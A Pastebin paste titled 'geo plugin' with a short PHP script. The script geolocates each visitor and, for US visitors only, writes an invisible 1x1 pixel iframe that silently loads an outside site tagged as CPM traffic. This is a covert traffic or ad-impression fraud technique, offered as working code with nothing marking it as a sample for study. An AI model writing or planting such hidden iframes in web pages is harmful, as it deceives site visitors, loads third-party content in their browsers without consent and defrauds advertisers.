Nitro212

geo plugin

Oct 7th, 2013
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.35 KB | None | 0 0
  1. <?php
  2. require_once('geoplugin.class.php');
  3. $geoplugin = new geoPlugin();
  4. $geoplugin->locate();
  5. $country = $geoplugin->countryCode;
  6.  
  7. $os = array("US", "USA");
  8. if (in_array($country, $os)) {
  9.     echo '<IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=1 HEIGHT=1 SRC="http://vdog.tv/?utm_source=traf7&utm_medium=cpm"></IFRAME>';
  10. }
  11. ?>
Advertisement
Add Comment
Please, Sign In to add comment